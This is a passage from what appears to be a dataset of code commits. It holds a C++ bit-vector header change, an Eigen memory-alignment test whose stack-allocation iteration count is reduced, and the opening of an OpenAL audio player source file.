shift;\n}\n\ntemplate<class T>\nclass BitVectorT {\n\tstatic const size_t unitSize = sizeof(T) * 8;\n\tsize_t bitLen_;\n\tstd::vector<T> v_;\npublic:\n\tBitVectorT() : bitLen_(0) {}\n\tBitVectorT(const T *buf, size_t bitLen)\n\t{\n\t\tinit(buf, bitLen);\n\t}\n\tvoid init(const T *buf, size_t bitLen)\n\t{\n\t\tresize(bitLen);\n\t\tstd::copy(buf, buf + v_.size(), &v_[0]);\n\t}\n\tvoid resize(size_t bitLen)\n\t{\n\t\tbitLen_ = bitLen;\n\t\tconst size_t q = bitLen \/ unitSize;\n\t\tconst size_t r = bitLen % unitSize;\n\t\tif (r == 0) {\n\t\t\tv_.resize(q);\n\t\t} else {\n\t\t\t\/\/ ensure zero out of [0, bitLen)\n\t\t\tv_.resize(q + 1);\n\t\t\tT mask = GetMaskBit<T>(r);\n\t\t\tv_[q] &= mask;\n\t\t}\n\t}\n\tvoid reserve(size_t bitLen)\n\t{\n\t\tv_.reserve(RoundupBit<T>(bitLen));\n\t}\n\tbool get(size_t idx) const\n\t{\n\t\tif (idx >= bitLen_) throw cybozu::Exception(\"BitVectorT:get:bad idx\") << idx;\n\t\treturn GetBlockBit(v_.data(), idx);\n\t}\n\tvoid clear()\n\t{\n\t\tbitLen_ = 0;\n\t\tv_.clear();\n\t}\n\tvoid set(size_t idx, bool b)\n\t{\n\t\tif (b) {\n\t\t\tset(idx);\n\t\t} else {\n\t\t\treset(idx);\n\t\t}\n\t}\n\t\/\/ set(idx, true);\n\tvoid set(size_t idx)\n\t{\n\t\tif (idx >= bitLen_) throw cybozu::Exception(\"BitVectorT:set:bad idx\") << idx;\n\t\tSetBlockBit(v_.data(), idx);\n\t}\n\t\/\/ set(idx, false);\n\tvoid reset(size_t idx)\n\t{\n\t\tif (idx >= bitLen_) throw cybozu::Exception(\"BitVectorT:reset:bad idx\") << idx;\n\t\tResetBlockBit(v_.data(), idx);\n\t}\n\tsize_t size() const { return bitLen_; }\n\tconst T *getBlock() const { return &v_[0]; }\n\tT *getBlock() { return &v_[0]; }\n\tsize_t getBlockSize() const { return v_.size(); }\n\t\/*\n\t\tappend src[0, bitLen)\n\t*\/\n\tvoid append(const T* src, size_t bitLen)\n\t{\n\t\tif (bitLen == 0) return;\n\t\tconst size_t q = bitLen_ \/ unitSize;\n\t\tconst size_t r = bitLen_ % unitSize;\n\t\tresize(bitLen_ + bitLen);\n\t\tif (r == 0) {\n\t\t\tCopyBit<T>(&v_[q], src, bitLen);\n\t\t\treturn;\n\t\t}\n\t\tT over = ShiftLeftBit<T>(&v_[q], src, bitLen, r, v_[q] & GetMaskBit<T>(r));\n\t\tif (RoundupBit<T>(bitLen + r) > RoundupBit<T>(bitLen)) {\n\t\t\tv_[v_.size() - 1] = over;\n\t\t}\n\t}\n\t\/*\n\t\tappend src & mask(bitLen)\n\t*\/\n\tvoid append(uint64_t src, size_t bitLen)\n\t{\n\t\tif (bitLen == 0) return;\n\t\tif (bitLen > unitSize) {\n\t\t\tthrow cybozu::Exception(\"BitVectorT:append:bad bitLen\") << bitLen;\n\t\t}\n\t\tif (bitLen < unitSize) {\n\t\t\tsrc &= GetMaskBit<T>(bitLen);\n\t\t}\n\t\tconst size_t q = bitLen_ \/ unitSize;\n\t\tconst size_t r = bitLen_ % unitSize;\n\t\tresize(bitLen_ + bitLen);\n\t\tif (r == 0) {\n\t\t\tv_[q] = T(src);\n\t\t\treturn;\n\t\t}\n\t\tv_[q] |= T(src << r);\n\t\tv_[q + 1] = T(src >> (unitSize - r));\n\t}\n\t\/*\n\t\tappend bitVector\n\t*\/\n\tvoid append(const BitVectorT<T>& v)\n\t{\n\t\tappend(v.getBlock(), v.size());\n\t}\n\t\/*\n\t\tdst[0, bitLen) = vec[pos, pos + bitLen)\n\t*\/\n\tvoid extract(T* dst, size_t pos, size_t bitLen) const\n\t{\n\t\tif (bitLen == 0) return;\n\t\tif (pos + bitLen > bitLen_) {\n\t\t\tthrow cybozu::Exception(\"BitVectorT:extract:bad range\") << bitLen << pos << bitLen_;\n\t\t}\n\t\tconst size_t q = pos \/ unitSize;\n\t\tconst size_t r = pos % unitSize;\n\t\tif (r == 0) {\n\t\t\tCopyBit<T>(dst, &v_[q], bitLen);\n\t\t\treturn;\n\t\t}\n\t\tShiftRightBit<T>(dst, &v_[q], bitLen + r, r);\n\t}\n\t\/*\n\t\tdst = vec[pos, pos + bitLen)\n\t*\/\n\tvoid extract(BitVectorT<T>& dst, size_t pos, size_t bitLen) const\n\t{\n\t\tdst.resize(bitLen);\n\t\textract(dst.getBlock(), pos, bitLen);\n\t}\n\t\/*\n\t\treturn vec[pos, pos + bitLen)\n\t*\/\n\tT extract(size_t pos, size_t bitLen) const\n\t{\n\t\tif (bitLen == 0) return 0;\n\t\tif (bitLen > unitSize || pos + bitLen > bitLen_) {\n\t\t\tthrow cybozu::Exception(\"BitVectorT:extract:bad range\") << bitLen << pos << bitLen_;\n\t\t}\n\t\tconst size_t q = pos \/ unitSize;\n\t\tconst size_t r = pos % unitSize;\n\t\tT v;\n\t\tif (r == 0) {\n\t\t\tv = v_[q];\n\t\t} else {\n\t\t\tv = (v_[q] >> r) | v_[q + 1] << (unitSize - r);\n\t\t}\n\t\tif (bitLen == unitSize) {\n\t\t\treturn v;\n\t\t} else {\n\t\t\treturn v & GetMaskBit<T>(bitLen);\n\t\t}\n\t}\n\tbool operator==(const BitVectorT<T>& rhs) const { return v_ == rhs.v_; }\n\tbool operator!=(const BitVectorT<T>& rhs) const { return v_ != rhs.v_; }\n};\n\ntypedef BitVectorT<size_t> BitVector;\n\n} \/\/ cybozu\n<commit_msg>clear if decrese size<commit_after>#pragma once\n\/**\n\t@file\n\t@brief bit vector\n\t@author MITSUNARI Shigeo(@herumi)\n\t@license modified new BSD license\n\thttp:\/\/opensource.org\/licenses\/BSD-3-Clause\n*\/\n#include <cybozu\/exception.hpp>\n#include <algorithm>\n#include <vector>\n#include <assert.h>\n\nnamespace cybozu {\n\ntemplate<class T>\nsize_t RoundupBit(size_t bitLen)\n{\n\tconst size_t unitSize = sizeof(T) * 8;\n\treturn (bitLen + unitSize - 1) \/ unitSize;\n}\n\ntemplate<class T>\nT GetMaskBit(size_t bitLen)\n{\n\tassert(bitLen < sizeof(T) * 8);\n\treturn (T(1) << bitLen) - 1;\n}\n\ntemplate<class T>\nvoid SetBlockBit(T *buf, size_t bitLen)\n{\n\tconst size_t unitSize = sizeof(T) * 8;\n\tconst size_t q = bitLen \/ unitSize;\n\tconst size_t r = bitLen % unitSize;\n\tbuf[q] |= T(1) << r;\n}\ntemplate<class T>\nvoid ResetBlockBit(T *buf, size_t bitLen)\n{\n\tconst size_t unitSize = sizeof(T) * 8;\n\tconst size_t q = bitLen \/ unitSize;\n\tconst size_t r = bitLen % unitSize;\n\tbuf[q] &= ~(T(1) << r);\n}\ntemplate<class T>\nbool GetBlockBit(const T *buf, size_t bitLen)\n{\n\tconst size_t unitSize = sizeof(T) * 8;\n\tconst size_t q = bitLen \/ unitSize;\n\tconst size_t r = bitLen % unitSize;\n\treturn (buf[q] & (T(1) << r)) != 0;\n}\n\ntemplate<class T>\nvoid CopyBit(T* dst, const T* src, size_t bitLen)\n{\n\tconst size_t unitSize = sizeof(T) * 8;\n\tconst size_t q = bitLen \/ unitSize;\n\tconst size_t r = bitLen % unitSize;\n\tfor (size_t i = 0; i < q; i++) dst[i] = src[i];\n\tif (r == 0) return;\n\tdst[q] = src[q] & GetMaskBit<T>(r);\n}\n\/*\n\tdst[] = (src[] << shift) | ext\n\t@param dst [out] dst[0..n)\n\t@param src [in] src[0..n)\n\t@param bitLen [in] length of src, dst\n\t@param shift [in] 0 <= shift < unitSize\n\t@param ext [in] or bit\n*\/\ntemplate<class T>\nT ShiftLeftBit(T* dst, const T* src, size_t bitLen, size_t shift, T ext = 0)\n{\n\tif (bitLen == 0) return 0;\n\tconst size_t unitSize = sizeof(T) * 8;\n\tif (shift >= unitSize) {\n\t\tthrow cybozu::Exception(\"ShiftLeftBit:large shift\") << shift;\n\t}\n\tconst size_t n = RoundupBit<T>(bitLen); \/\/ n >= 1 because bitLen > 0\n\tconst size_t r = bitLen % unitSize;\n\tconst T mask = r > 0 ? GetMaskBit<T>(r) : T(-1);\n\tif (shift == 0) {\n\t\tif (n == 1) {\n\t\t\tdst[0] = (src[0] & mask) | ext;\n\t\t} else {\n\t\t\tdst[n - 1] = src[n - 1] & mask;\n\t\t\tfor (size_t i = n - 2; i > 0; i--) {\n\t\t\t\tdst[i] = src[i];\n\t\t\t}\n\t\t\tdst[0] = src[0] | ext;\n\t\t}\n\t\treturn 0;\n\t}\n\tconst size_t revShift = unitSize - shift;\n\tT prev = src[n - 1] & mask;\n\tconst T ret = prev >> revShift;\n\tfor (size_t i = n - 1; i > 0; i--) {\n\t\tT v = src[i - 1];\n\t\tdst[i] = (prev << shift) | (v >> revShift);\n\t\tprev = v;\n\t}\n\tdst[0] = (prev << shift) | ext;\n\treturn ret;\n}\n\/*\n\tdst[] = src[] >> shift\n\t@param dst [out] dst[0..n)\n\t@param src [in] src[0..n)\n\t@param bitLen [in] length of src, dst\n\t@param shift [in] 0 <= shift < (sizeof(T) * 8)\n*\/\ntemplate<class T>\nvoid ShiftRightBit(T* dst, const T* src, size_t bitLen, size_t shift)\n{\n\tif (bitLen == 0) return;\n\tconst size_t unitSize = sizeof(T) * 8;\n\tif (shift >= unitSize) {\n\t\tthrow cybozu::Exception(\"ShiftRightBit:bad shift\") << shift;\n\t}\n\tif (shift == 0) {\n\t\tCopyBit<T>(dst, src, bitLen);\n\t\treturn;\n\t}\n\tconst size_t n = RoundupBit<T>(bitLen); \/\/ n >= 1 because bitLen > 0\n\tconst size_t r = bitLen % unitSize;\n\tconst T mask = r ? GetMaskBit<T>(r) : T(-1);\n\tconst size_t revShift = unitSize - shift;\n\tif (n == 1) {\n\t\tdst[0] = (src[0] & mask) >> shift;\n\t\treturn;\n\t}\n\tT prev = src[0];\n\tfor (size_t i = 0; i < n - 2; i++) {\n\t\tT v = src[i + 1];\n\t\tdst[i] = (prev >> shift) | (v << revShift);\n\t\tprev = v;\n\t}\n\t{ \/\/ i = n - 1\n\t\tT v = src[n - 1] & mask;\n\t\tdst[n - 2] = (prev >> shift) | (v << revShift);\n\t\tprev = v;\n\t}\n\tdst[n - 1] = prev >> shift;\n}\n\ntemplate<class T>\nclass BitVectorT {\n\tstatic const size_t unitSize = sizeof(T) * 8;\n\tsize_t bitLen_;\n\tstd::vector<T> v_;\npublic:\n\tBitVectorT() : bitLen_(0) {}\n\tBitVectorT(const T *buf, size_t bitLen)\n\t{\n\t\tinit(buf, bitLen);\n\t}\n\tvoid init(const T *buf, size_t bitLen)\n\t{\n\t\tresize(bitLen);\n\t\tstd::copy(buf, buf + v_.size(), &v_[0]);\n\t}\n\tvoid resize(size_t bitLen)\n\t{\n\t\tbitLen_ = bitLen;\n\t\tconst size_t q = bitLen \/ unitSize;\n\t\tconst size_t r = bitLen % unitSize;\n\t\tif (r == 0) {\n\t\t\tv_.resize(q);\n\t\t} else {\n\t\t\t\/\/ ensure zero out of [0, bitLen)\n\t\t\tv_.resize(q + 1);\n\t\t\tT v = v_[q];\n\t\t\tif (v > 0) {\n\t\t\t\tv_[q] = v & GetMaskBit<T>(r);\n\t\t\t}\n\t\t}\n\t}\n\tvoid reserve(size_t bitLen)\n\t{\n\t\tv_.reserve(RoundupBit<T>(bitLen));\n\t}\n\tbool get(size_t idx) const\n\t{\n\t\tif (idx >= bitLen_) throw cybozu::Exception(\"BitVectorT:get:bad idx\") << idx;\n\t\treturn GetBlockBit(v_.data(), idx);\n\t}\n\tvoid clear()\n\t{\n\t\tbitLen_ = 0;\n\t\tv_.clear();\n\t}\n\tvoid set(size_t idx, bool b)\n\t{\n\t\tif (b) {\n\t\t\tset(idx);\n\t\t} else {\n\t\t\treset(idx);\n\t\t}\n\t}\n\t\/\/ set(idx, true);\n\tvoid set(size_t idx)\n\t{\n\t\tif (idx >= bitLen_) throw cybozu::Exception(\"BitVectorT:set:bad idx\") << idx;\n\t\tSetBlockBit(v_.data(), idx);\n\t}\n\t\/\/ set(idx, false);\n\tvoid reset(size_t idx)\n\t{\n\t\tif (idx >= bitLen_) throw cybozu::Exception(\"BitVectorT:reset:bad idx\") << idx;\n\t\tResetBlockBit(v_.data(), idx);\n\t}\n\tsize_t size() const { return bitLen_; }\n\tconst T *getBlock() const { return &v_[0]; }\n\tT *getBlock() { return &v_[0]; }\n\tsize_t getBlockSize() const { return v_.size(); }\n\t\/*\n\t\tappend src[0, bitLen)\n\t*\/\n\tvoid append(const T* src, size_t bitLen)\n\t{\n\t\tif (bitLen == 0) return;\n\t\tconst size_t q = bitLen_ \/ unitSize;\n\t\tconst size_t r = bitLen_ % unitSize;\n\t\tresize(bitLen_ + bitLen);\n\t\tif (r == 0) {\n\t\t\tCopyBit<T>(&v_[q], src, bitLen);\n\t\t\treturn;\n\t\t}\n\t\tT over = ShiftLeftBit<T>(&v_[q], src, bitLen, r, v_[q] & GetMaskBit<T>(r));\n\t\tif (RoundupBit<T>(bitLen + r) > RoundupBit<T>(bitLen)) {\n\t\t\tv_[v_.size() - 1] = over;\n\t\t}\n\t}\n\t\/*\n\t\tappend src & mask(bitLen)\n\t*\/\n\tvoid append(uint64_t src, size_t bitLen)\n\t{\n\t\tif (bitLen == 0) return;\n\t\tif (bitLen > unitSize) {\n\t\t\tthrow cybozu::Exception(\"BitVectorT:append:bad bitLen\") << bitLen;\n\t\t}\n\t\tif (bitLen < unitSize) {\n\t\t\tsrc &= GetMaskBit<T>(bitLen);\n\t\t}\n\t\tconst size_t q = bitLen_ \/ unitSize;\n\t\tconst size_t r = bitLen_ % unitSize;\n\t\tresize(bitLen_ + bitLen);\n\t\tif (r == 0) {\n\t\t\tv_[q] = T(src);\n\t\t\treturn;\n\t\t}\n\t\tv_[q] |= T(src << r);\n\t\tv_[q + 1] = T(src >> (unitSize - r));\n\t}\n\t\/*\n\t\tappend bitVector\n\t*\/\n\tvoid append(const BitVectorT<T>& v)\n\t{\n\t\tappend(v.getBlock(), v.size());\n\t}\n\t\/*\n\t\tdst[0, bitLen) = vec[pos, pos + bitLen)\n\t*\/\n\tvoid extract(T* dst, size_t pos, size_t bitLen) const\n\t{\n\t\tif (bitLen == 0) return;\n\t\tif (pos + bitLen > bitLen_) {\n\t\t\tthrow cybozu::Exception(\"BitVectorT:extract:bad range\") << bitLen << pos << bitLen_;\n\t\t}\n\t\tconst size_t q = pos \/ unitSize;\n\t\tconst size_t r = pos % unitSize;\n\t\tif (r == 0) {\n\t\t\tCopyBit<T>(dst, &v_[q], bitLen);\n\t\t\treturn;\n\t\t}\n\t\tShiftRightBit<T>(dst, &v_[q], bitLen + r, r);\n\t}\n\t\/*\n\t\tdst = vec[pos, pos + bitLen)\n\t*\/\n\tvoid extract(BitVectorT<T>& dst, size_t pos, size_t bitLen) const\n\t{\n\t\tdst.resize(bitLen);\n\t\textract(dst.getBlock(), pos, bitLen);\n\t}\n\t\/*\n\t\treturn vec[pos, pos + bitLen)\n\t*\/\n\tT extract(size_t pos, size_t bitLen) const\n\t{\n\t\tif (bitLen == 0) return 0;\n\t\tif (bitLen > unitSize || pos + bitLen > bitLen_) {\n\t\t\tthrow cybozu::Exception(\"BitVectorT:extract:bad range\") << bitLen << pos << bitLen_;\n\t\t}\n\t\tconst size_t q = pos \/ unitSize;\n\t\tconst size_t r = pos % unitSize;\n\t\tT v;\n\t\tif (r == 0) {\n\t\t\tv = v_[q];\n\t\t} else {\n\t\t\tv = (v_[q] >> r) | v_[q + 1] << (unitSize - r);\n\t\t}\n\t\tif (bitLen == unitSize) {\n\t\t\treturn v;\n\t\t} else {\n\t\t\treturn v & GetMaskBit<T>(bitLen);\n\t\t}\n\t}\n\tbool operator==(const BitVectorT<T>& rhs) const { return v_ == rhs.v_; }\n\tbool operator!=(const BitVectorT<T>& rhs) const { return v_ != rhs.v_; }\n};\n\ntypedef BitVectorT<size_t> BitVector;\n\n} \/\/ cybozu\n<|endoftext|>"}
{"text":"<commit_before>\/\/ This file is part of Eigen, a lightweight C++ template library\n\/\/ for linear algebra.\n\/\/\n\/\/ Copyright (C) 2008 Gael Guennebaud <gael.guennebaud@inria.fr>\n\/\/\n\/\/ This Source Code Form is subject to the terms of the Mozilla\n\/\/ Public License v. 2.0. If a copy of the MPL was not distributed\n\/\/ with this file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n\n#include \"main.h\"\n\n#if EIGEN_ALIGN\n#define ALIGNMENT EIGEN_ALIGN_BYTES\n#else\n#define ALIGNMENT 1\n#endif\n\ntypedef Matrix<float,8,1> Vector8f;\n\nvoid check_handmade_aligned_malloc()\n{\n  for(int i = 1; i < 1000; i++)\n  {\n    char *p = (char*)internal::handmade_aligned_malloc(i);\n    VERIFY(size_t(p)%ALIGNMENT==0);\n    \/\/ if the buffer is wrongly allocated this will give a bad write --> check with valgrind\n    for(int j = 0; j < i; j++) p[j]=0;\n    internal::handmade_aligned_free(p);\n  }\n}\n\nvoid check_aligned_malloc()\n{\n  for(int i = 1; i < 1000; i++)\n  {\n    char *p = (char*)internal::aligned_malloc(i);\n    VERIFY(size_t(p)%ALIGNMENT==0);\n    \/\/ if the buffer is wrongly allocated this will give a bad write --> check with valgrind\n    for(int j = 0; j < i; j++) p[j]=0;\n    internal::aligned_free(p);\n  }\n}\n\nvoid check_aligned_new()\n{\n  for(int i = 1; i < 1000; i++)\n  {\n    float *p = internal::aligned_new<float>(i);\n    VERIFY(size_t(p)%ALIGNMENT==0);\n    \/\/ if the buffer is wrongly allocated this will give a bad write --> check with valgrind\n    for(int j = 0; j < i; j++) p[j]=0;\n    internal::aligned_delete(p,i);\n  }\n}\n\nvoid check_aligned_stack_alloc()\n{\n  for(int i = 1; i < 1000; i++)\n  {\n    ei_declare_aligned_stack_constructed_variable(float,p,i,0);\n    VERIFY(size_t(p)%ALIGNMENT==0);\n    \/\/ if the buffer is wrongly allocated this will give a bad write --> check with valgrind\n    for(int j = 0; j < i; j++) p[j]=0;\n  }\n}\n\n\n\/\/ test compilation with both a struct and a class...\nstruct MyStruct\n{\n  EIGEN_MAKE_ALIGNED_OPERATOR_NEW\n  char dummychar;\n  Vector8f avec;\n};\n\nclass MyClassA\n{\n  public:\n    EIGEN_MAKE_ALIGNED_OPERATOR_NEW\n    char dummychar;\n    Vector8f avec;\n};\n\ntemplate<typename T> void check_dynaligned()\n{\n  \/\/ TODO have to be updated once we support multiple alignment values\n  if(T::SizeAtCompileTime % ALIGNMENT == 0)\n  {\n    T* obj = new T;\n    VERIFY(T::NeedsToAlign==1);\n    VERIFY(size_t(obj)%ALIGNMENT==0);\n    delete obj;\n  }\n}\n\ntemplate<typename T> void check_custom_new_delete()\n{\n  {\n    T* t = new T;\n    delete t;\n  }\n  \n  {\n    std::size_t N = internal::random<std::size_t>(1,10);\n    T* t = new T[N];\n    delete[] t;\n  }\n  \n#ifdef EIGEN_ALIGN\n  {\n    T* t = static_cast<T *>((T::operator new)(sizeof(T)));\n    (T::operator delete)(t, sizeof(T));\n  }\n  \n  {\n    T* t = static_cast<T *>((T::operator new)(sizeof(T)));\n    (T::operator delete)(t);\n  }\n#endif\n}\n\nvoid test_dynalloc()\n{\n  \/\/ low level dynamic memory allocation\n  CALL_SUBTEST(check_handmade_aligned_malloc());\n  CALL_SUBTEST(check_aligned_malloc());\n  CALL_SUBTEST(check_aligned_new());\n  CALL_SUBTEST(check_aligned_stack_alloc());\n\n  for (int i=0; i<g_repeat*100; ++i)\n  {\n    CALL_SUBTEST(check_dynaligned<Vector4f>() );\n    CALL_SUBTEST(check_dynaligned<Vector2d>() );\n    CALL_SUBTEST(check_dynaligned<Matrix4f>() );\n    CALL_SUBTEST(check_dynaligned<Vector4d>() );\n    CALL_SUBTEST(check_dynaligned<Vector4i>() );\n    CALL_SUBTEST(check_dynaligned<Vector8f>() );\n    \n    CALL_SUBTEST( check_custom_new_delete<Vector4f>() );\n    CALL_SUBTEST( check_custom_new_delete<Vector2f>() );\n    CALL_SUBTEST( check_custom_new_delete<Matrix4f>() );\n    CALL_SUBTEST( check_custom_new_delete<MatrixXi>() );\n  }\n  \n  \/\/ check static allocation, who knows ?\n  #if EIGEN_ALIGN_STATICALLY\n  {\n    MyStruct foo0;  VERIFY(size_t(foo0.avec.data())%ALIGNMENT==0);\n    MyClassA fooA;  VERIFY(size_t(fooA.avec.data())%ALIGNMENT==0);\n  }\n  \n  \/\/ dynamic allocation, single object\n  for (int i=0; i<g_repeat*100; ++i)\n  {\n    MyStruct *foo0 = new MyStruct();  VERIFY(size_t(foo0->avec.data())%ALIGNMENT==0);\n    MyClassA *fooA = new MyClassA();  VERIFY(size_t(fooA->avec.data())%ALIGNMENT==0);\n    delete foo0;\n    delete fooA;\n  }\n\n  \/\/ dynamic allocation, array\n  const int N = 10;\n  for (int i=0; i<g_repeat*100; ++i)\n  {\n    MyStruct *foo0 = new MyStruct[N];  VERIFY(size_t(foo0->avec.data())%ALIGNMENT==0);\n    MyClassA *fooA = new MyClassA[N];  VERIFY(size_t(fooA->avec.data())%ALIGNMENT==0);\n    delete[] foo0;\n    delete[] fooA;\n  }\n  #endif\n  \n}\n<commit_msg>Memory allocated on the stack is freed at the function exit, so reduce iteration count to avoid stack overflow<commit_after>\/\/ This file is part of Eigen, a lightweight C++ template library\n\/\/ for linear algebra.\n\/\/\n\/\/ Copyright (C) 2008 Gael Guennebaud <gael.guennebaud@inria.fr>\n\/\/\n\/\/ This Source Code Form is subject to the terms of the Mozilla\n\/\/ Public License v. 2.0. If a copy of the MPL was not distributed\n\/\/ with this file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n\n#include \"main.h\"\n\n#if EIGEN_ALIGN\n#define ALIGNMENT EIGEN_ALIGN_BYTES\n#else\n#define ALIGNMENT 1\n#endif\n\ntypedef Matrix<float,8,1> Vector8f;\n\nvoid check_handmade_aligned_malloc()\n{\n  for(int i = 1; i < 1000; i++)\n  {\n    char *p = (char*)internal::handmade_aligned_malloc(i);\n    VERIFY(size_t(p)%ALIGNMENT==0);\n    \/\/ if the buffer is wrongly allocated this will give a bad write --> check with valgrind\n    for(int j = 0; j < i; j++) p[j]=0;\n    internal::handmade_aligned_free(p);\n  }\n}\n\nvoid check_aligned_malloc()\n{\n  for(int i = 1; i < 1000; i++)\n  {\n    char *p = (char*)internal::aligned_malloc(i);\n    VERIFY(size_t(p)%ALIGNMENT==0);\n    \/\/ if the buffer is wrongly allocated this will give a bad write --> check with valgrind\n    for(int j = 0; j < i; j++) p[j]=0;\n    internal::aligned_free(p);\n  }\n}\n\nvoid check_aligned_new()\n{\n  for(int i = 1; i < 1000; i++)\n  {\n    float *p = internal::aligned_new<float>(i);\n    VERIFY(size_t(p)%ALIGNMENT==0);\n    \/\/ if the buffer is wrongly allocated this will give a bad write --> check with valgrind\n    for(int j = 0; j < i; j++) p[j]=0;\n    internal::aligned_delete(p,i);\n  }\n}\n\nvoid check_aligned_stack_alloc()\n{\n  for(int i = 1; i < 400; i++)\n  {\n    ei_declare_aligned_stack_constructed_variable(float,p,i,0);\n    VERIFY(size_t(p)%ALIGNMENT==0);\n    \/\/ if the buffer is wrongly allocated this will give a bad write --> check with valgrind\n    for(int j = 0; j < i; j++) p[j]=0;\n  }\n}\n\n\n\/\/ test compilation with both a struct and a class...\nstruct MyStruct\n{\n  EIGEN_MAKE_ALIGNED_OPERATOR_NEW\n  char dummychar;\n  Vector8f avec;\n};\n\nclass MyClassA\n{\n  public:\n    EIGEN_MAKE_ALIGNED_OPERATOR_NEW\n    char dummychar;\n    Vector8f avec;\n};\n\ntemplate<typename T> void check_dynaligned()\n{\n  \/\/ TODO have to be updated once we support multiple alignment values\n  if(T::SizeAtCompileTime % ALIGNMENT == 0)\n  {\n    T* obj = new T;\n    VERIFY(T::NeedsToAlign==1);\n    VERIFY(size_t(obj)%ALIGNMENT==0);\n    delete obj;\n  }\n}\n\ntemplate<typename T> void check_custom_new_delete()\n{\n  {\n    T* t = new T;\n    delete t;\n  }\n  \n  {\n    std::size_t N = internal::random<std::size_t>(1,10);\n    T* t = new T[N];\n    delete[] t;\n  }\n  \n#ifdef EIGEN_ALIGN\n  {\n    T* t = static_cast<T *>((T::operator new)(sizeof(T)));\n    (T::operator delete)(t, sizeof(T));\n  }\n  \n  {\n    T* t = static_cast<T *>((T::operator new)(sizeof(T)));\n    (T::operator delete)(t);\n  }\n#endif\n}\n\nvoid test_dynalloc()\n{\n  \/\/ low level dynamic memory allocation\n  CALL_SUBTEST(check_handmade_aligned_malloc());\n  CALL_SUBTEST(check_aligned_malloc());\n  CALL_SUBTEST(check_aligned_new());\n  CALL_SUBTEST(check_aligned_stack_alloc());\n\n  for (int i=0; i<g_repeat*100; ++i)\n  {\n    CALL_SUBTEST(check_dynaligned<Vector4f>() );\n    CALL_SUBTEST(check_dynaligned<Vector2d>() );\n    CALL_SUBTEST(check_dynaligned<Matrix4f>() );\n    CALL_SUBTEST(check_dynaligned<Vector4d>() );\n    CALL_SUBTEST(check_dynaligned<Vector4i>() );\n    CALL_SUBTEST(check_dynaligned<Vector8f>() );\n    \n    CALL_SUBTEST( check_custom_new_delete<Vector4f>() );\n    CALL_SUBTEST( check_custom_new_delete<Vector2f>() );\n    CALL_SUBTEST( check_custom_new_delete<Matrix4f>() );\n    CALL_SUBTEST( check_custom_new_delete<MatrixXi>() );\n  }\n  \n  \/\/ check static allocation, who knows ?\n  #if EIGEN_ALIGN_STATICALLY\n  {\n    MyStruct foo0;  VERIFY(size_t(foo0.avec.data())%ALIGNMENT==0);\n    MyClassA fooA;  VERIFY(size_t(fooA.avec.data())%ALIGNMENT==0);\n  }\n  \n  \/\/ dynamic allocation, single object\n  for (int i=0; i<g_repeat*100; ++i)\n  {\n    MyStruct *foo0 = new MyStruct();  VERIFY(size_t(foo0->avec.data())%ALIGNMENT==0);\n    MyClassA *fooA = new MyClassA();  VERIFY(size_t(fooA->avec.data())%ALIGNMENT==0);\n    delete foo0;\n    delete fooA;\n  }\n\n  \/\/ dynamic allocation, array\n  const int N = 10;\n  for (int i=0; i<g_repeat*100; ++i)\n  {\n    MyStruct *foo0 = new MyStruct[N];  VERIFY(size_t(foo0->avec.data())%ALIGNMENT==0);\n    MyClassA *fooA = new MyClassA[N];  VERIFY(size_t(fooA->avec.data())%ALIGNMENT==0);\n    delete[] foo0;\n    delete[] fooA;\n  }\n  #endif\n  \n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/\/ @file\n\/\/\/ @author  Boris Mikic\n\/\/\/ @version 2.4\n\/\/\/ \n\/\/\/ @section LICENSE\n\/\/\/ \n\/\/\/ This program is free software; you can redistribute it and\/or modify it under\n\/\/\/ the terms of the BSD license: http:\/\/www.opensource.org\/licenses\/bsd-license.php\n\n#ifdef HAVE_OPENAL\n#include <stdio.h>\n#include <string.h>\n#include \"xal.h\"\n\n#ifndef __APPLE__\n#include <AL\/al.h>\n#else\n#include <TargetConditionals.h>\n#include <OpenAL\/al.h>\n#endif\n\n#include \"AudioManager.h\"\n#include \"Buffer.h\"\n#include \"Category.h\"\n#include \"OpenAL_AudioManager.h\"\n#include \"OpenAL_Player.h\"\n#include \"Sound.h\"\n\nnamespace xal\n{\n\tOpenAL_Player::OpenAL_Player(Sound* sound, Buffer* buffer) :\n\t\tPlayer(sound, buffer), sourceId(0)\n\t{\n\t\tmemset(this->bufferIds, 0, STREAM_BUFFER_COUNT * sizeof(unsigned int));\n\t\talGenBuffers((!this->sound->isStreamed() ? 1 : STREAM_BUFFER_COUNT), this->bufferIds);\n\t}\n\n\tOpenAL_Player::~OpenAL_Player()\n\t{\n\t\t\/\/ AudioManager calls _stop before destruction\n\t\talDeleteBuffers((!this->sound->isStreamed() ? 1 : STREAM_BUFFER_COUNT), this->bufferIds);\n\t}\n\n\tvoid OpenAL_Player::_update(float k)\n\t{\n\t\tPlayer::_update(k);\n\t\tif (!this->_systemIsPlaying() && this->sourceId != 0)\n\t\t{\n\t\t\tthis->_stopSound();\n\t\t}\n\t}\n\n\tbool OpenAL_Player::_systemIsPlaying()\n\t{\n\t\tif (this->sourceId == 0)\n\t\t{\n\t\t\treturn false;\n\t\t}\n\t\tif (this->sound->isStreamed())\n\t\t{\n\t\t\treturn (this->_getQueuedBuffersCount() > 0 || this->_getProcessedBuffersCount() > 0);\n\t\t}\n\t\tint state;\n\t\talGetSourcei(this->sourceId, AL_SOURCE_STATE, &state);\n\t\treturn (state == AL_PLAYING);\n\t}\n\n\tfloat OpenAL_Player::_systemGetOffset()\n\t{\n\t\tfloat offset = 0.0f;\n#if !TARGET_OS_MAC\n\t\tif (this->sourceId != 0)\n\t\t{\n\t\t\talGetSourcef(this->sourceId, AL_SAMPLE_OFFSET, &offset);\n\t\t}\n#else\n\t\t\/\/ did not find anything that works on Mac OS X and iOS!\n#endif\n\t\treturn offset;\n\t}\n\n\tvoid OpenAL_Player::_systemSetOffset(float value)\n\t{\n#if !TARGET_OS_MAC\n\t\t\/\/ TODO - should be int\n\t\tif (this->sourceId != 0)\n\t\t{\n\t\t\talSourcef(this->sourceId, AL_SAMPLE_OFFSET, value);\n\t\t}\n\t\t\/\/alSourcei(this->sourceId, AL_SAMPLE_OFFSET, value);\n#else\n\t\t\/\/ did not find anything that works on Mac OS X and iOS!\n#endif\n\t}\n\n\tbool OpenAL_Player::_systemPreparePlay()\n\t{\n\t\tif (this->sourceId == 0)\n\t\t{\n\t\t\tthis->sourceId = ((OpenAL_AudioManager*)xal::mgr)->_allocateSourceId();\n\t\t}\n\t\treturn (this->sourceId != 